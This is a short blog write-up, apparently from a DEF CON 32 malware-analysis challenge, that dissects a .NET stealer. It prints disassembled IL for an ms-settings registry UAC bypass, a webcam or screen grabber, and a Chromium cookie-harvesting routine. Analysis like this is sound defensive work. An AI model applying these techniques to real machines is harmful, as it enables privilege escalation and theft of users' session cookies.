defcon 32 malware analysis
posted on : 8/19/2024
malware analysis MARC-I DEFCON 2024
BlotchyQuasar
first, I notice the use of create and remove subkeys after running string.
next, i found this in the strings as well.
```nasm
System.Collections.Generic.IEnumerator.Current
System.Collections.Generic.IEnumerator.Current
System.Collections.Generic.IEnumerator.Current
System.Collections.IEnumerator.Current
System.Collections.Generic.IEnumerator.get_Current
System.Collections.Generic.IEnumerator.get_Current
System.Collections.Generic.IEnumerator.get_Current
System.Collections.IEnumerator.get_Current
```
this looks simialr to how using statements in C# and .NET are framed.
after booting up IDA, it returned the malware as a .NET dll/executable
```
.method public static hidebysig void UAC()
{
.maxstack 4
.locals init (class [mscorlib]System.Security.Principal.WindowsPrincipal V0,
bool V1,
class [mscorlib]Microsoft.Win32.RegistryKey V2,
string V3,
class [System]System.Diagnostics.ProcessStartInfo V4,
class [mscorlib]Microsoft.Win32.RegistryKey V5)
nop
call class [mscorlib]System.Security.Principal.WindowsIdentity [mscorlib]System.Security.Principal.WindowsIdentity::GetCurrent()
newobj instance void [mscorlib]System.Security.Principal.WindowsPrincipal::.ctor(class [mscorlib]System.Security.Principal.WindowsIdentity)
stloc.0
ldloc.0
ldc.i4 0x220
callvirt instance bool [mscorlib]System.Security.Principal.WindowsPrincipal::IsInRole(valuetype [mscorlib]System.Security.Principal.WindowsBuiltInRole)
ldc.i4.0
ceq
stloc.1
ldloc.1
brfalse loc_EE
```
It is looking for registry keys, like i had thought. this was also under a function called U.Bypass.UAC. lower on in the section, i can tell that it's attempting to open cmd.exe, widnowless and only as a shell in order to run computerdefaults.exe.
once this is opened, in the process, it seems to attempt to open a function call to the registry key, specifically, the //Software// key. i also noticed that this loads a string, the path.
ldstr aClassesMsSetti_2 // "Classes\\ms-settings\\shell\\open\\comm"...
it then calls the registry edit function.
After this, i found the main function, which also messes around with the registry keys.
```
nop
ldstr asc_231B6 // "\\""
call string xClient.Core.Data.ClientData::get_CurrentPath()
ldstr asc_231B6 // "\\""
call string [mscorlib]System.String::Concat(string, string, string)
stloc.2
ldstr aCmdExe_0 // "CMD.exe"
ldstr aCStart // "/c start "
ldloc.2
call string [mscorlib]System.String::Concat(string, string)
call class [System]System.Diagnostics.Process [System]System.Diagnostics.Process::Start(string, string)
pop
ldsfld class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::CurrentUser
ldstr aSoftwareClasse // "Software\\\\Classes\\\\ms-settings"
ldc.i4.1
callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string, bool)
stloc.3
ldloc.3
ldstr aShell // "shell"
callvirt instance void [mscorlib]Microsoft.Win32.RegistryKey::DeleteSubKeyTree(string)
nop
ldloc.3
callvirt instance void [mscorlib]Microsoft.Win32.RegistryKey::Close()
nop
nop
```
it seems to call a regsitry key, open it, and then delete the shell subkey. I also know that this specific registry is often used to do UAC bypass, as I have used a simialr technique in my own malware, https://git.gay/peroxidee/1548.002-poc.
onto part 2 of the malware!
there's a collection of functions titled 'Grabber' that seem to be referencing either a video camera or drawing out an image. This part i've never encountered befor, however, one of the things i think it's doing is that it's first establishing a window object's size and height, however, i also think this could literally be getting a pciture from the webcam (as evident by the VideoCaptureDevice class being used) and possibly sending that to a server, because there are a lot of differnt calls to HTTP libraries.
```
newobj instance void [System.Drawing]System.Drawing.Rectangle::.ctor(int32, int32, int32, int32)
ldc.i4.3
ldc.i4 0x21808
callvirt instance class [System.Drawing]System.Drawing.Imaging.BitmapData [System.Drawing]System.Drawing.Bitmap::LockBits(valuetype [System.Drawing]System.Drawing.Rectangle, valuetype [System.Drawing]System.Drawing.Imaging.ImageLockMode, valuetype [System.Drawing]System.Drawing.Imaging.PixelFormat)
stloc.2
ldloc.2
callvirt instance int32 [System.Drawing]System.Drawing.Imaging.BitmapData::get_Stride()
stloc.3
ldloc.2
callvirt instance int32 [System.Drawing]System.Drawing.Imaging.BitmapData::get_Stride()
stloc.s 4
nop
ldloc.2
callvirt instance native int [System.Drawing]System.Drawing.Imaging.BitmapData::get_Scan0()
stloc.s 7
```
my other idea is that this could get a screengrab of the user's, possibly exposing data of theirs when the screenshot is taken.
---
part 3 of the malware anaylsis!
the third and final part of the malware that I will be going over (fortoday) is the Chromimum class. I have no idea if this is a system library or not, but it seems to be really interesting and could prove that this specfic malware is a stealer.
```nasm
.method public hidebysig virtual instance string ToString()
{
.maxstack 5
.locals init (string V0)
nop
ldstr aDomain10Cookie // "Domain: {1}{0}Cookie Name: {2}{0}Value:"...
ldc.i4.8
newarr [mscorlib]System.Object
dup
ldc.i4.0
call string [mscorlib]System.Environment::get_NewLine()
stelem.ref
dup
ldc.i4.1
ldarg.0
call instance string ChromiumCookie::get_HostKey()
stelem.ref
dup
ldc.i4.2
ldarg.0
call instance string ChromiumCookie::get_Name()
stelem.ref
dup
ldc.i4.3
ldarg.0
call instance string ChromiumCookie::get_Value()
stelem.ref
dup
ldc.i4.4
ldarg.0
call instance string ChromiumCookie::get_Path()
stelem.ref
dup
ldc.i4.5
ldarg.0
call instance bool ChromiumCookie::get_Expired()
box [mscorlib]System.Boolean
stelem.ref
dup
ldc.i4.6
ldarg.0
call instance bool ChromiumCookie::get_HttpOnly()
box [mscorlib]System.Boolean
stelem.ref
dup
ldc.i4.7
ldarg.0
call instance bool ChromiumCookie::get_Secure()
box [mscorlib]System.Boolean
stelem.ref
call string [mscorlib]System.String::Format(string, object[])
stloc.0
br.s loc_20F8A
```
There seems to be a lot of loading and unloading of the system’s Chromimum Cookies and then storing it into a string, to use for later. I have no idea why else this program would be loading up Chromimum. There’s also a couple of different functions that seem to be calling to login into something remotely, but i am now out of time, but this was been fun.
